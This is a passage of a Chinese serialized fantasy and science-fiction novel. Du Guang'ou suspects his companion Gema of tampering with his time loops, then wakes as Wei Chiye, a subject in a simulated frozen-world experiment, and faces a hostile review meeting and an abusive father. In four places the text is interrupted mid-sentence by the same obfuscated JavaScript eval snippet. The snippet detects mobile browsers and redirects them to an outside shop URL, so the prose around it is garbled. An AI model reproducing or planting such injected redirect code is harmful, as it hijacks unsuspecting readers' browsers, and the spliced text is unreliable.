老女人的目光颤动了两下,渐渐地,她闭上眼睛,“……扶我起来。” 古古听闻,立刻和鹿力喜两人将人搀扶起来。 在她的指引下,他们离开了哨塔,向城市中心走去。 穿越一条空中走廊,他们来到了一条轨道的上方,那轨道是金属做的,有两根粗长的铁轨,上面架着一个带滑轨的铁皮空箱,里面能容纳好几个人。 鹿力喜架着点灯人走了上去,古古也跳上去,回身,示意杜光欧他们也上来。 杜光欧和闻人佐登了上去。内部的空间并不小,门一关上,里面就亮了起来,唯一的窗户能够看到外面的景色。 鹿力喜坐在一把椅子上,他手边上有许多可操作的开关,那些是什么东西,恐怕只有操作者本人清楚。 铁皮箱子缓缓地移动了起来,开始在轨道的路线上行驶。窗外的事物逐渐向后掠过,速度越来越快,近处的景色渐渐化为虚影。 身处这个高速行驶的铁箱中,他们掠过城市的上方。 看着下方那些鳞次栉比的建筑,杜光欧心中的疑惑迟迟不解。 他不是因为眼前所见而惊诧。虽然,不用马匹就能行驶的空中车辆的确很惊奇,但他不觉得有什么。说来也怪,见到这些新事物的时候,他有一种感觉,仿佛这些东西本来就理应存在,只是现在终于出现在他眼前了而已。 比起这些新发现,他还是更在意葛马的事情。 他如何也想不明白,对方究竟是如何在同一天时间,从雪山峰顶赶往了摄文王庭,装作没事人一样和他们一同上路。 这一切,让他嗅出一股阴谋的味道。 那个红头发的男人刻意把人们引领到雪山上,而后消失不见。 如果不是想通过这种方式让他们在雪山上迷路、冻死,那就是在有意引导他们掉进元城。 为什么这么做。他到底在想什么,有什么打算? 杜光欧从他们的相识开始逐一回想了一番,试图找出对方有没有什么不对劲的地方。但葛马这个人,实在没什么特殊的。 他是西边来的西索人,是一个信差,为各地的权贵运送信件,也因此结识自己的兄长杜光遗。而因为有这一层关系,葛马也对黎礼也抱有复仇的心理。 这就是关于葛马的故事,是杜光欧所知道的全部了。 在今天之前,他从来没有对这个人进行深入的分析,也从来没有怀疑过什么,说得难听点,他其实根本没把对方当一回事,只认为他是一个聒噪的、有些粗神经的、但是心肠还不错的人。 除此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13593980|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之外,本不应该有什么。 还能有什么? 那个红头发的西索人,除了他自愿展现出来的一切,还有什么是杜光欧所不知道的吗? 沉浸在回忆之中,他失去了对时间的判断。 感觉坐下来还没多久,装载他们的铁箱子便停了下来,他向窗外望去,有些惊讶地发现他们已经来到了城市的另一端。 鹿力喜按下了一个开关,铁箱子的门打开了,戴着眼镜的斯文男人说道:“到了,下去吧。” 一伙人从铁箱子里跳出来,又在老女人的引领下步行往出口走。 一路上,闻人佐都好奇地东张西望,但是,在他身旁的杜光欧却不然。他沉浸在自己的思绪中,无法脱身。 葛马……葛马。 如果非要找出这个男人身上不对劲的地方,杜光欧只能回想起两个瞬间。 它们分别位于杜光遗死去那天,以及自己从血皑王城溃逃那天。 印象中,它们是他一生中,为数不多的对回溯力滥用的时刻。 第一次是为了拯救兄长,第二次因为落入了必死的险境,为了活下去别无他法。 现在回想起来,而那两次经历之中,最终打断他自己对回溯力滥用的,都是葛马。 葛马出现的时间点,他到现在都解释不通。 他总是会出现在他不该出现的地方。 杜光欧和回溯力相伴也有些年月了,他对这份能力十分熟悉。以同一个节点为起始,它所开启的所有死亡分支中,外界环境都是相同的。即为,在相同的时间断面,无论杜光欧做出怎样差异化的举动,世界另一边的人在做的永远都同一件事。 即是说,假如杜光欧面前有一条空无一物的乡野土路,他从起点开始走,走到终点,在终点上死去,那么,回溯力就会将他带回起点。环境是既定的,不管杜光欧做什么,这条路上永远都应是空无一物,不会突然有野鹿窜出来,也不会看到任何的人影。他走到终点死去,再回到起点,只要不离开这条路,他就会一直重复死亡和重生的循环。 然而,葛马却在这样一个既定的轮回中,出现在了这条无人的道路上,打破了轮回。 无论是黄王圣祠那次,还是王城中那次,他都是这么做的。 杜光遗的那次,杜光欧记得很清楚,在兄长被毒刃划伤之后,有一段时间,那个圣祠中不应该出现任何人。如果他一直待在里面,不向外界求救,没有任何人会发现圣祠里的情况,也就不会有人冲进来。然而,葛马却是在那最后一个轮回之中,突然出现,制止了他的自残。使得杜光遗就那般死去,再没有可能挽回。 而在王庭中那次也是同理。他和白熠落入了黎礼的圈套,那是杜光欧第一次见到枪,在那种武器的压制下,无论尝试多少次,他们都根本逃不出去。而整个过程中,一直是房间内的人在对峙,那些在窗外参加篝火晚会人们,从来没有进来干涉过。然而,在那最后一次轮回中,葛马却从窗外冲了进来,将他和沃风营救了出去。而在他闯入的那个时间节点上,本不应该有任何人出现、打断黎礼对他们进行的屠杀。 杜光欧越是回忆,便越觉得奇怪。 葛马是死亡轮回的打破者,也是唯一打破它的人。曾经,杜光欧不理解,只当是自己对回溯力的了解不够充分,但是,现在,他可能要重新审视这件事了。 193. 样界1 当下,人们正在沿着山壁往出口走。现代化的建筑越来越少,周围变得原来越荒凉,元城的文明正在离他们远去。 杜光欧跟在众人的身后,目光没有焦点,一直陷入沉思之中,就那么像一个行尸走肉一般往前走。 可是,想了这么久,他还是想不明白。 一定有什么关键性的信息被他遗漏了。一个很重要的信息,只要有了它,关于葛马身上一切不寻常的疑点就能迎刃而解。 可到底是少了什么…… 就在这时,右侧的视野闪动了一下,有什么东西一晃而过。 杜光欧猛然驻足僵住。 闻人佐等人在往前走,他却驻足,往右手边的岩壁上看去。 在那灰白的石壁上,有一个人高的缝隙,缝隙中透来了昏黄的光,有个身影在其中一闪而过。 紧接着,一个男人的声音传了过来。 “好了,东西都在这里,你以后就在这里住下。” 那个声音听起来有些怪异,不太像是真人的声音,有些遥远,有些空荡,但是,杜光欧怎么都不会听错,他认得那声音的主人。 那是葛马。 背后竖起了一层寒毛,想不明白声音的主人为何会出现在这里。 他刚开始起疑,对方就出现了。 杜光欧在原地怔了片刻,抱着一探究竟的心态,往岩壁里看去。 有限的视野中,他看到里面是一个寝房一样的屋子,四面都是山岩,这房间像是从岩壁中开凿出来的。 红色头发的男人站在房间里,身穿蓝色的长袍,背对着他。 杜光欧犹豫片刻,钻了进去,站在葛马的身后,向往常对话那样出声问他:“你这家伙……你什么时候进来的?半路突然消失,你——” 突然,对方大声说道:“哎,好啦,我知道这挺离谱的,但是,也没有办法,不是吗?毕竟,你在外面已经是个名义上的死人了,出去也没人信你还活着,你做不了什么了。” “什么死人……?”杜光欧不明所以,完全不理解对方在说些什么。 他上下打量了一番男人,感觉有点奇怪。葛马穿着一身深蓝色的长袍,它和他的发色极其不相符。他们从摄文离开的时候,对方肯定穿的不是这身衣服,不然自己看到了,一定会讥讽他两句。 对面,红发的男人还是背对着他,继续说道:“我知道你很沮丧,但是,你已经尽力了,这也是没办法的事。下一次再努力吧。下次,要是你能别那么冲锋陷阵,把自己弄得死去活来,我倒也不是不可以考虑稍微伸出援手……” 杜光欧盯着那个背影,感觉有点诡异,尝试性地叫他,“葛马。” 男人发出疑惑的声音,“嗯?不需要我帮你?行吧。” “葛马,你听得见我说话吗?”杜光欧问。 蓝色衣袍的人没有回应,他坐下来,却是坐在空气上,手臂抬起,像是搭上了什么人的肩膀,衣料兀自产生了褶皱。他对着一片虚空抱怨道:“行,好,拯救血皑是你的事,拯救世界是我的事,和我分得这么清楚,是吧?” 杜光欧走上前,来到与葛马只有半臂的距离。可即便已经离得这么近,对方却好像依然没有觉察到他。 他伸出手去,想要触碰葛马的肩膀,但是,这一碰,却碰了一场空。 杜光欧白着脸,看到自己的手掌穿过了葛马的身体,在对方的胸前穿透了出去。 男人没有实形。 这到底是……什么情况? 然而,就在接触的下一刻,杜光欧听到了一个熟悉的、却也久违的声音。 那声音醇厚、平缓,像是从小被教导,要以引领众生的宽阔胸膛,去对每一个生灵说话。 “葛马,我说了,如果你说的一切都是真的……那么,让我替你分担,将我变为孑塑者。” 声音响起的同时,另一个实影在眼前浮现了出来。 就在葛马的身旁,他胳膊肘拄着的地方,出现了一个男人的身影。他有着一头黑色的短发,打理得十分整洁,灰色的眼睛正盯着面前的西索人。 杜光欧怔愣地看着这个刚刚浮现的身影。 这是…… 这是他的—— “唔……!” 突然,胃里一阵痉挛,他顿觉呼吸不畅,冷汗直流。 杜光欧猛然抽回了手,眼前倏然泛白,他控制不住身体,脱力地倒在地上。 不知道自己怎么了,就好像突然得了重病,所有的健康一夕离他远去。 他大口地呼吸,然而无济于事。 好难受,缓不过来…… 意识在急速地远去,视野在暗灭。 在他不甚清晰的意识中,最后,响起的是葛马毅然决然的声音。 “我也说了,这件事不可能。”他笑着说,声音却听上去那么凄凉,“这漫漫轮回制造的滔天绝望,我怎么可能让你也经历啊。” ## 咚咚——咚咚—— 隔着一层毛玻璃一般,急迫的声音传来,像是在怒号着些什么,他听不清楚。 滴—— 冗长的鸣叫响起来,钻进脑海中,扰得他不得安宁。 在这片嘈杂之中,他睁开了眼睛,像是从一个数十年的梦中醒来。 面前是一层雾,什么也看不清晰。 但是,很快,有人擦开了那片雾,面前的似乎是一层透明的玻璃。 一个女人隔着玻璃盯着他,她戴着一副眼镜,脸色沉着,像是在观察一件器物一样,上下打量着他。 而后,阵阵喷气声响起,玻璃抬了起来。 他迷茫地看着眼前的一切,没有任何反应。 女人凑了过来,说道:“你感觉怎么样?” 他转动眼珠,盯着她,依旧茫然。 女人在他的面前摇晃五指,“这情况……是自我保护机制触发了?” 她自言自语,从一旁的桌子上取来了一只玻璃杯,里面装着半杯水。看了一眼杯子上的刻度,又往里面填了些水,然后,拿着一个钢勺,往杯口敲了一下。 叮—— 清脆的声音荡开,突然,它驱散了那些迷雾。 他渐渐睁大了眼睛,感受到了意识里的迷雾散去,一切都渐渐清明了起来。 他坐起来,捂着自己的脑袋,感觉有些混乱。 女人的声音传来,“能辨别自己是谁吗?” 脑袋中一片杂乱,他木讷地回答,“我是……杜光欧。” 女人把杯子放在桌面上,翘起二郎腿,靠近他,以冷静的声音说道:“再想想。” 再想想? 他不禁疑惑。 什么意思?他已经给出了答案,为什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13593981|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么让他再想想? 女人伸手,拿起桌上的钢勺,什么也没说,只是又敲了一下杯子。 叮—— 又一声,迷雾渐渐隐退了身形,彻底从他的脑海中消失不见。 一个名字从最底层浮了出来。 蔚迟野。 他还没想明白怎么回事,就听自己说道:“……我是蔚迟野。” 女人放下了勺子,侧对着他,在旁边的键盘上敲击,一边说道:“嗯,好,看样子是彻底醒过来了。” 咚咚咚—— 阵阵沉闷的撞击声传来,他往声音的方向看去。 视野开阔起来,他这才发现自己坐在一面带有玻璃罩的休眠平台上,平台处于一间透明的舱室内,四周是圆柱型的玻璃墙,再往外是一间摆满了各种仪器的正方形实验室,有忙碌的实验员在来回走动。 一个中年男人站在透明舱室的门口,敲击着玻璃门,咚咚声就是从他那里发出来的。 中年男人似乎非常焦急,嘴里说着些什么,但是蔚迟野听不清楚。 “情况比我预想得严重,样界偏移得厉害,你在进入的过程中收到了强烈干扰,样界人格覆盖了原有人格……”女人离开了电脑,身体往后一栽,对蔚迟野说道,“进去的时候,你应该什么都不记得吧。” 蔚迟野盯着她,没有回应。 女人微微皱了皱眉毛,“怎么了,怎么感觉你还不是很清醒……” 蔚迟野的视线从她身上移开,而后,转移到那个电脑屏幕上,然后,又扫视着四周。 在他们的身后,有一片巨大的立体投影区,映射出了一片大地的样貌。在那投射区的外周,缠绕着一层枷锁一般的物质,它透着青色的寒光,牢牢禁锢着大地。 蔚迟野盯着,渐渐地,像是大脑厘清了所有的信息,他终于能够顺利地思考。 他回想起来,那个投射出来的立体空间,名叫“低温样界”。 它是当今世上最著名的生物科学家所创造出来的……意念世界。 只需要极其稀少的物质,它便可以模拟真实世界的情境。 科学家创造它,旨在研究人体在极寒条件下,细胞突变的可能性。所有的研究成果,都会应用于前沿医学领域与临床治疗。 因为低温枷锁的存在,样界中的温度会逐渐降低。 而当其降低至绝对零度时,样界就会“重启”。 重启意味着一次新的循环,样界中的所有事物都会被重置。包括时间、大地、生命。 循环会永远重复下去,直到出现可以参考人体变异结果为止。 而他…… 而蔚迟野之所以会被派进那样界之中,是因为它的循环出现了问题。 经过上百次的循环,样界中累积了残存的物质,导致每次循环开始时,它都无法重置为初始状态。实验员们称这种状况为“样界偏移”。 偏移超出一定水平,样界就会不受控制,所以,实验员正在寻找解决这种偏移的办法。 而蔚迟野就是解决办法之一。 样界过于庞大,在外界寻找异常会耗费太多人力物力,所以实验员想出了这个方法,将活人的神经连接至样界,使意识潜入其中,从内部去寻找问题的所在。 找到样界的异常,这就是他的任务。 至于为什么是他—— 194. 样界2 嘭! 突然,舱室透明的门被人推开,外面那个一直在叫嚷的男人就这么冲了进来。 女人猛然从座位上站起来,厉声道:“蔚统先生,请不要干扰实验进程!” 对面那个男人有些心虚,但是,他没有退出去的意思,只是两手放在身前,摆出一副无害的模样,“我知道,我知道,我只是想知道,发生什么了?我儿子为什么会突然醒来,他有没有……他有没有成功通过试练?” 蔚迟野盯着这个男人,一个名词从心底冒出来,“父亲。” 蔚统的视线望过来,顿时变得严厉起来,“跟我说,你成功了没有?” 蔚迟野一时间感觉有些割裂,他虽然喊出了那个名字,但是,另一幅面孔却出现在他的脑海里。 那是一个更加仁慈的形象,蓄着长发,时常穿着贵重的长袍,发是黑色,眼眸是淡灰,和自己说话的时候,总是有种溺爱的笑意。 那是谁的脸来着? 对了,那是杜义,他的父亲。 他的父亲? 不,他的父亲应该是…… “我在跟你说话!”突然,名为蔚统的男人喊道。 戴着眼镜的女人站在两人之间,冲男人厉声说:“他才刚脱离样界,精神不稳定,不要刺激他。” 男人喊声却更大了,一点也没把对方的话听进去,“我只是想知道他成功了没有!” 女人和他争执,“蔚统先生,你要是再这样,我只好让保安过来,将你请出去了。” 蔚迟野低着头,短暂的清明过后,他的大脑又开始混乱。 两个人的记忆交杂在一起,他时而分不清哪些是现实,哪些是虚幻。 不过,蔚统这个问题他还是能回答上来的。 男人问他有没有成功,这话的意思显然是在问他,有没有修复样界的异常。 当然没有。 在那个样界里的时候,他连自己是谁都忘了,怎么可能还记得带着什么任务进去。 “没成功。” 他话音刚落,只听那个暴怒的男人再度吼道:“没成功,你出来干什么!?” 女人依然挡在男人前面,对他说:“数据出现了异常,他的情绪产生了极大的波动,我看着不对劲,才从外部将他主观召回,这和他没关系。” “为什么?他还能继续!”男人说。 “怎么继续?这场实验从一开始就有问题。样界偏移得太严重了,有什么东西在抗拒外界的接入。他是在主人格被压制的状况下勉强挤进去的,进去时就是完全失忆的状态……!”女人说着说着,声音也拔高了,“那时候就该将他召回了,当时是你请求方远韶非要再坚持看看,实验才继续下去。但那明显是个错误的决定。” “那现在怎么办?”蔚统问,他看了眼自己的儿子,却好像并不在乎他现在的状态,心里装的是其它什么事,“这样的话,会对他最后的评价产生什么影响吗?” “……这次是意外,对他没有影响。”说着,女人泄了口气,像是不想再和男人争执一般,坐回自己的座位,在电脑上调了几个窗口出来,“好了,迟野,你也别在这待着,方远韶已经知道了实验暂停的消息,他马上就到西二会议室了,你整理整理,想想怎么和他汇报吧。” 蔚迟野从休眠舱上下来,他知道西二会议室在哪,也知道这个汇报的流程,这些东西都十分神奇地刻印在他的脑子里。 但是,此刻,他有些不想和那个动不动暴怒的男人一同离开,即便那是他的父亲。 他看着电脑旁的这个女人,她穿着一身干净的白色制服,长发梳到了脑后,小肚子有些微微隆起,脚脖子看起来有些水肿,可能都是常年坐在电脑前的缘故。 短暂的观察中,蔚迟野想起来了对方的名字,他问道:“你呢……柏汝恭,你不去吗?” “……你之前都叫我柏姐,看来实验对你的影响确实不小。”柏汝恭说道,目光闪过一丝类似同情的目光,“去吧,我得留在这里,把参数改一改,不能让你下次再进去的时候,还是那种主人格被压制的状态。” 听柏汝恭的意思,他还需要再次进入那个样界。 蔚迟野抬起头来,回望那个巨大的、被寒冰枷锁所缠绕的投影。他觉得有些恍惚,像是从一场梦中脱离,朦朦胧胧,只要仔细想想,就能回想起在里面发生了什么,但是那些记忆又好像离他很遥远。 这时候,面前不远处的男人说话了。蔚统的声音听上去有些急切,他迫不及待地向柏汝恭确认着一些事情,“你刚才说‘下次’,这个意思是,试练还没结束,我的儿子肯定还有机会,是吗?” 柏汝恭面向自己的电脑,开始在上面打字,没有明确回答蔚统的疑问,背对着他说道:“方远韶马上就要到了,赶紧离开这里,去会议室见他,不要让他等。” “好,好。”蔚统连连答应,走过来把蔚迟野拽起来,推搡着他离开了透明舱室。 走出实验室后,面前是有些凄冷的走廊,两边的墙壁透露出金属的光泽,显得不近人情。 蔚迟野低着头,沉默地往会议室的方向走,他后面,蔚统在不停地说着些什么。 “到时候,你要表现得游刃有余,明白吗?”蔚统不断地嘱咐着,似乎相比蔚迟野本人,他更加在乎报告的结果,“你要有底气,让对方知道,你已经清楚了问题所在,并且很快就能解决了。是那个实验员操作失误,才把你传唤了回来,而这件事和你自己一点关系都没有。” 蔚迟野沉默地往前走,没有给予父亲回应。 蔚统猛地推了他一下,“你听见我说的话没有?” 蔚迟野停下来,侧着身子,头撇向一旁,没有看着自己的父亲。他不想去看那张脸,看着那张脸,叫出父亲这样的称呼,会让他觉得混乱,弄不清自己是谁。 “……我不知道问题在哪。” 蔚统皱眉,音色又有染上怒意的趋势,“什么?” 在样界里,他所做的一切,都和最初被派进去的目的没有关系。只是过着另一个人的一生——长大,探险,失去,复仇。 找到导致样界“偏移”的异常所在,这是他的任务。可他身处那个样界中时,并不具备这样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13593982|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的意识,也就自然不会留心相关的内容。 蔚迟野抬高了声音,解释道:“我并不知道样界的循环出了什么问题,方先生拜托我进去寻找的异常,我没有任何头绪。” 蔚统一时没有说话,但是,脸色极其难看。他伸出手,拽着蔚迟野的衣领,把他提到了一旁,抵在墙边,威胁一般低声说道:“你敢跟别人这么说,我就打断你的腿。” 蔚迟野张了张嘴,却是什么都没有说出口。 蔚统:“现在谁都不知道问题在哪,你说你知道,没人能判断是真是假。重要的是让他们相信你能找到异常点,委托你再次进入样界,听明白了吗?” 蔚迟野低着头,避开父亲威胁的目光,“……我听明白了。” 蔚统将儿子放下,在前领路,往会议室的方向走,一边命令道:“快点。” 蔚迟野跟了上去,像是没有自我意识的人偶一般。 不,他不是没有自我意识,只是感觉有些飘忽,像是往返于梦境和现实的两界,一时间缓不过来。 不过,蔚统的话他还是得重视起来。 父亲的意思是,他必须想出一个借口,让所有人都认为,他已经知道了样界的异常所在。这很困难,因为,这无疑是去撒一个可能圆不上的谎。 他已经在那个样界里生活了那么久,然而,却几乎没有发现什么异样的地方,除了自己这个有着回溯力的怪胎,还有极端寒冷的天气以外,其他看着都挺正常的。 而且,这个谎并不好撒。有太多的人关注这次实验了,任何无法自圆其说的漏洞都有可能被挑出来,当面拆穿。 “修复样界的偏移”这件事本身对蔚迟野没什么意义,但他知道,它承载了太多的期望。 “低温样界VII”是生物科学家方远韶的倾心之作,它是一个意念世界,可以理解成,是由人类的意识和记忆构建出来的世界。 那不是一个现实世界。蔚迟野是这么认为的。 在样界中做低温实验也没什么,反正,那里面的又不是真实的人。 现实中的人道主义在样界中不会得到伸张,也不会有任何人想要去伸张,任何的法律都渗透不进去,更不要说一丝一毫的人文关怀。 在那个样界展开低温实验,让它历经一次次寒冷的轮回,让那里的“生命”死亡再复原,现实世界中的人们没有任何心理上的负担。 因为,那里的人不过是电脑里的一些图画和数字罢了,他们没有形体,没有构成生命的所谓的基本物质,也就不是活生生的人。 不过,样界很真实,所以里面的产出能够应用于现实世界。 所以,它被赋予了一些超常的期望。科学家们都在指望这样一个样界,能够进行一些在现实中不被允许的实验,由此得到一些具有启发性的结果,为他们的科研带来天翻地覆的改变。 而样界中发生异常的当下,进去解决问题的人,无疑也被赋予了许多期待。 蔚统停在了西二会议室的门前,他低下头,看着自己的儿子,压迫的目光从上至下,“刚才我跟你说的,都记住了吧。” 195. 样界3 蔚迟野有些木讷地点点头。 严肃的父亲这才推开了房门,会议室中有一张长条形的木桌,桌子的两侧摆放着座椅,每个座椅的前方,都放着一个小型的立体投影仪。 蔚迟野坐在自己的位置上,他对面的座位是空的,桌子上立着一个名牌,那上面赫然写着三个大字:方远韶。 蔚统坐在蔚迟野的旁边,向对面那个空空如也的座椅说:“方先生,我们到了。” 他话音刚落,唰的一声,座位上出现了一个男人的身影,他穿着西装,戴着一只白色的圆顶帽,面庞掩在帽檐下,坐姿十分地端庄。 男人整个身体都有些影影绰绰,泛着蓝色的光,那是一个三维的投影,他本人并不在这里。 随着方远韶的现身,其他座位上也连接出现了一个个身影,面容严肃的人一个接一个出现,他们的目光互相扫视,而后,纷纷投向了实验者的方向。 方远韶盯着蔚迟野,而后,他的视线落下去,像是在看自己手里的什么东西。男人开始说话,他的声音听不出情绪,十分地沉着冷静,“柏汝恭将报告传给了我,我已经把它传到了各位的终端上。我将对此次实验进行一个简短的总结,各位可以在这个期间自行翻阅,稍微了解一下结果。” 话音落下,众人纷纷查阅了起来,有的动作像是在盯着面前的电脑屏幕,有些像在看手机。 方远韶说道:“整次实验,从五月初开始,历时十七天。实验者蔚迟野进入样界,目的是解决样界的循环偏移问题。进入初期,样界偏移严重,实验者在进入的过程中,主人格沉睡,样界人格主导,在样界期间,他是否仍带有明确的任务目的而进行行动,仍待确认。” 听到这里,蔚统突然说话,“他知道!他知道自己的任务是什么,方先生,您放心,您拜托他这么大的事,他怎么可能会忘?” 蔚统突然用胳膊肘碰了碰蔚迟野,蔚迟野知道那是什么意思。他看着对面那个投影,想向方远韶解释些什么,然而,当对上那个人视线的一瞬间,蔚迟野却什么都说不出来了。 那是一双将他看透的眼睛,仿佛知道他会说什么一样。 没必要说谎,就算说了也会被揭穿。他突然就有了这种感觉。 如果是曾经的自己,他不会看懂对方眼中那洞悉一切的视线。但是,自从从样界之中出来之后,蔚迟野能够明显得感觉到,自己变得不一样了,他能理解许多曾经看不明白的眼神,听出许多言外之意。他不知道,究竟是自己突然掌握了这些,还是那些在样界中的经历,让他学会了这些。 蔚迟野解释的话最终没有出口,方远韶不再看他,而是继续说道:“期间,实验者蔚迟野的状态稳定。直到今早,情绪出现强烈波动,柏汝恭将其召回,以免神经受损。” 方远韶说完,抬起头来,看了一圈现场的众人,说道:“冗长的实验数据,我这里就不做赘述了。现在,我想请实验者聊聊两件事。” 样界的创造者举起了两个手指,他连开会都是极其有效率,允许蔚迟野做出解释,但是只给他两个方向,“其一,最终使你产生强烈情绪波动的事件,是什么;其二,你在整个实验过程中,是否发现了阻碍样界循环的异常。” 此刻,所有的目光向蔚迟野投来,包括方远韶、会议上的其他人员,以及他的父亲蔚统。那些视线裹挟着压力,扑面而来。 蔚迟野整理了一番思绪,清了清嗓子,坐得端正了一些,这才开口说道:“这次实验之初,我的确受到了影响,进入样界时,主人格遭到了压制,暂时遗忘了外界的记忆。但总体来说,这次实验并不是一无所获。就让我们先从方先生问的第一件事开始说起……” 蔚迟野侃侃而谈。他边说着,边觉得有些意外,仿佛说话的不是自己一般。如果是曾经的自己,在这么多人的面前,根本无法顺畅地说话,更不要说用如此沉稳的语气,说出这么有逻辑的话语。 他是怎么了。 为什么会像是变了个人一样。 然而,蔚迟野又很适应这些变化。 那些在人群面前磕磕绊绊说话的日子,已经离他很远。相反,他有许多在众人面前发言、鼓舞人心的记忆。 那些经历似乎属于他。 但经历那些的也都是他吗? “关于使我产生强烈情绪波动的事件……”蔚迟野思考了一番,回忆在样界中时,最终发生了什么。 他在一个地下城池之中,遇到了葛马,葛马在和一个人说话。那个人的声音,对他而言非常耳熟,即便是离开了样界,他也依然记得。 那是他在样界中的兄长,杜光遗的声音。 但可能不光是这一件事。样界的转速很快,柏汝恭观察到情绪波动具有一定的滞后性,具体的事件甚至可能追溯到远征队成员全灭的那一次。在样界的最后一年间发生太多变故,蔚迟野也无法判断是哪一次被柏汝恭观测到了。 但这并不影响他挑一些对于现状有利的来回答。 回忆至此,蔚迟野在心中整理了一番言辞,说道:“这件事,必须和方先生所问的第二件事联系在一起。” 听到蔚迟野的表述,方远韶从报告中抬起头,盯着他,问道:“为什么这么说?” “我之所以会出现情绪波动,是因为在那个样界之中,见到了超出常识的事物。”蔚迟野斟酌了一番,说道,“我见到了一座远高于样界平均文明的城市,那里的现代化程度,几乎可以与我们当今的世界所媲美,我认为,那里非常有可是异常的所在——” 方远韶在此刻打断了他,“你说的那个地方,我知道。元城,是吗?” 蔚迟野一顿,道:“是。” 方远韶吸了口气,又吐出来,不知这番动作是出于怎样的情绪,“你为那里感到震惊,这可以理解。但是,那里不是样界循环异常的所在。” 一旁,蔚统紧张地盯着自己的儿子,眼珠子都快要掉出来,像是赛马场上,已经下了注,紧盯着爱马的赌徒一般。 听方远韶的意思,蔚迟野应该是给出了一个错误的答案,但是,他仍然不死心,说道:“可是,方先生,那里有许多沉睡着的人,他们和那座城市一起被冻在了冰里。那些可能就是残留物质,是导致样界循环偏移的异常所在。” 方远韶沉默了半晌,期间,他没有递给蔚迟野任何的眼神,像是根本没听见他在说什么一般。 这时候,坐在方远韶旁边的女人开口说话了,她的态度则较为温和,“实验者,你所汇报的,并不是我们正在寻找的异常。的确,元城之中存在许多冰层下的物质,但那些都是样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13616919|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 界原本便存在的一部分,不是真正的异常所在。” “但那里真的很奇怪——” 蔚迟野还想在说些什么,然而,啪的一声,对面的方远韶一掌拍在自己面前的桌子上,声音通过传讯设施,传到了他们每一个人的耳中。 方远韶的声音低沉、恐怖,他不悦地盯着蔚迟野,像在看一个冒犯者一般,“实验者,样界是我创造的,那里有什么东西,我最清楚不过。不需要你告诉我这些已知内容。” 一旁,蔚统的模样着急起来,他一脸羞愤,但是,似乎又不敢公然大声说话,只能咬着牙,冲他的儿子低声地吼道:“你说点有用的,行吗!” 然而,蔚迟野却没有在乎父亲的急迫。 如果是曾经,他可能会被方远韶那冰冷的视线唬住,而大脑短路,无法思考。 但是,此刻,蔚迟野根本没有受到对方任何的影响,内心无比镇定,像有种源自深处的稳定。 他故意空了片刻,让沉默彰显出他的沉着,而后,用平静的声音向方远韶问道:“方先生,如果样界里的一切内容您都了解,那么,您让我进去,究竟是想要寻找一些什么?” 方远韶往背后一靠,说道:“自然是外界无法观测到的东西。” 外界无法观测的东西…… 蔚迟野琢磨着这个形容,然而,脑袋里却回忆不起来与之相关的有用信息。 “好了,看来没什么结论,就到这里吧。”方远韶像是不再有耐心,如此宣布道。 “等等,方先生……”蔚统听到方远韶的话,立刻心急地想要向他说些什么,然而,对方根本没有看他,身影啪地一下消失在了座位上。 随着他的退出,会议上的其他投影也纷纷消失了。 最终,只留下蔚迟野和蔚统两人,孤零零地并排坐着。 蔚迟野沉浸在自己的世界之中,思考着方远韶的那番话。 外界无法观测的东西? 那会是什么…… 整个样界都是由外界的人创造的,它的所有细节都分毫不差地展现在电脑屏幕上,怎么会有什么无法观则的东西? 蔚迟野思考了许久,却没得出什么结论。 然而,当他从自己的思绪中抽身,突然,他感受到身边的父亲在颤抖。 而那颤抖的源头,无疑是愤怒。 蔚迟野抬起头,寻找男人的双眼,想要以此判断对方的情绪。然而,视线还没来得及落在对方的脸上,一个掌掴便甩过来,将他从座椅上打翻在地。 蔚统的咆哮随之而来,“我不是让你表现得好一点吗!?” 蔚迟野趴在地上,捂着自己的脸,眼前是被打翻的椅子腿。他有点恍惚,甚至可以说有一点震惊。他总觉得,自己已经很久没有被人用这种方式屈辱地殴打过了。 